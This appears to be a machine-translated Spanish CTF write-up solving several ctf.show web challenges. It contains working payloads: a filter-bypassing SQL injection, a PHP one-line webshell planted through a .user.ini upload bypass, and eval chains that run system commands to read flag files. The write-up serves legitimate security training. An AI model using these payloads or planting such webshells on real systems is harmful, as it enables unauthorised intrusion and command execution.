Directorio de artículos
ctf.show_web10
Ven a la página es un cuadro de inicio de sesión
Haga clic en el botón cancelar, aparece el código fuente
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
Se han filtrado muchas declaraciones de inyección.
Group by y with rollup se usan principalmente aquí para combinar
group by, sin mencionar que es un arreglo, y el orden predeterminado es ascendente
con rollup (group by puede ser seguido por rollup, lo que significa que las estadísticas de resumen se realizan nuevamente sobre la base de las estadísticas del grupo).
Habrá una línea adicional en el resultado, donde la columna de contraseña es nula y el recuento (*) es la suma estadística.
Por ejemplo:
select password,count(*) from test group by password with rollup;
Entonces construimos la carga útil:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
Debido a que después de agregar con rollup, la contraseña tiene una fila de NULL, solo necesitamos ingresar una contraseña vacía para hacer (NULL==NULL), /**/ se usa para omitir el filtro de espacio
Puede obtener la bandera
ctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}
Dos, ctf.show_web11
Ven a la página de inicio
Puede ver que el código php tiene muchas restricciones.
Observe la forma de obtener la bandera $password==$_SESSION['password']
. La contraseña la ingresamos nosotros mismos. La contraseña en la sesión se almacena localmente, por lo que solo necesitamos ingresar una contraseña vacía y eliminar la sesión local para evitarlo con éxito. .
Obtener indicador:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}
3. ctf.show_web12
Ven a la página de inicio
Primero echa un vistazo al código fuente
Hay una variable cmd indicadora, que indica que es probable que haya una función de ejecución de código en segundo plano.Ingrese
phpinfo(); vea la información de configuración de php
Se encontró que muchos métodos de ejecución de comandos están deshabilitados.
También puede usar Highlight_file("index.php"); ver el código fuente
Aquí hay otra función php glob();
la función glob() devuelve el nombre de archivo o directorio que coincide el patrón especificado.
Por ejemplo:
glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件
Con este método, primero buscamos todos los archivos en el directorio actual para ver si están disponibles. Input?cmd=print_r(glob(“*”)); imprima el siguiente archivo
y luego lea el archivo
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
Obtener la bandera:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}
4. ctf.show_web13
Entra a la pagina
e intenta subir el archivo, pero no hay efecto, encuentra el directorio oculto
Encontrado upload.php, intente upload.php.bak para obtener el archivo de código fuente
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
Obtuve el código fuente y encontré que el tamaño del archivo restrictivo es <=24, la longitud del nombre es <=9, la longitud del sufijo es <=3, y el nombre y el sufijo no pueden tener php, entonces tal caballo de Troya se puede
construir
<?php eval($_POST['a']);
Debido al sufijo, cargue primero 2.txt
y luego cargue el archivo .user.ini.
El .user.ini en php tiene la siguiente explicación:
PHP buscará el nombre del archivo en cada directorio, si se establece en una cadena vacía, PHP no buscará, es decir, si el nombre del archivo se establece en .user. ini , entonces cualquier página incluirá el contenido del archivo.
Ingresamos auto_prepend_file = 2.txt en .user.ini, para que todos los archivos en este directorio contengan el contenido de 2.txt
//
Después de conectar la espada de hormigas, encontramos que no hay permiso para operar el archivo, entonces entramos directamente a la página web Busque la bandera en.
Enviar con POST
a=print_r(glob("*"));
Luego use el archivo de resaltado () para obtener la bandera
a=highlight_file("文件名");
5. Taza de verduras para perros
1. Inicio de sesión web
ven a la pagina
el código
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
Lo he estado intentando durante mucho tiempo, ¿es realmente una pregunta de inicio de sesión? Después de leer el wp del tipo grande, para resumir
la investigación es: la relación entre el método de solicitud y la asignación, así como la codificación china del campo Cookie.
La razón principal es el uso del último caballo de Troya de una oración, que tiene mucho anidamiento. Echemos un vistazo: primero, la parte más
interna es 'CTFshow-QQ group:', y el frente es $_COOKIE, es decir, se toma el 'grupo CTFshow-QQ' en la cookie. El valor;
luego, si lo pasamos en la cookie CTFshow-QQ群:=a
, el caballo de Troya de una oración se convierte en:
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
Entonces $_POST[a] es el valor del parámetro a que pasará POST, lo pasaremos a=b
, luego se convierte en:
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
$_GET[b] es pasar el valor del parámetro b en modo GET, y luego asignar un valor a b b=c
para obtener:
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);
$_REQUEST[c][6][0][7][5][8][0][9][4][4]
, que $_REQUEST
se puede solicitar de cualquier forma, c es una matriz y el valor pasado en la solicitud $_REQUEST es el [6][0][7][5][8][0][9][4][4]
valor de la clave de ID en la matriz C. Debido a que las matrices de PHP pueden asignar valores a las claves de ID,
entonces podemos asignar valores directamente a estas claves en la matriz C:
c[6][0][7][5][8][0][9][4][4]= system('ls /');
Entonces, usamos el formulario POST para enviar el paquete y prestamos atención “群”
al uso de la codificación de URL %E7%BE%A4
, de lo contrario, burp no lo reconocerá (al asignar un valor a c, se puede colocar en el encabezado de la solicitud o en la entidad de la solicitud, porque la solicitud el método de solicitud puede ser en forma de obtener o publicar. aceptar)
Aquí uso hackbar convenientemente,
así que obtenemos el archivo flagaaa, ingresamos el comando cat /f1agaaa
para obtener la bandera
y ganamos mucho
2.web2 c0me_t0_s1gn
Cuando llegué a la página
, se me indicó que había información para encontrar. Traté de usar Yujian y dirsearch para encontrar el directorio, pero no pude encontrarlo. Vi el código fuente de la página más tarde. Vi
alguna información sobre la bandera, y siguió el aviso específico a la consola. Solicitó
el método de operación para encontrar la bandera, y
la encontró después de ejecutar. La información en la segunda mitad de la bandera se puede empalmar.
3. Solo tengo $ en mis ojos
ven a la pagina
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
Puede ver que el método de publicación se usa para pasar parámetros. Aquí estamos examinando el anidamiento de variables, una serie de $
variables, la variable inicial debe ser _
, por lo que debemos definir las variables a su vez y asignarlas al comando. declaración de ejecución después de hacerlo, system('ls /');
y las variables no se pueden repetir
No es muy bueno escribiendo guiones, consulte al tipo grande
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')
Modificar el comando para obtener la bandera.
Resumir
El seguimiento continuará compartiendo notas de ctfshow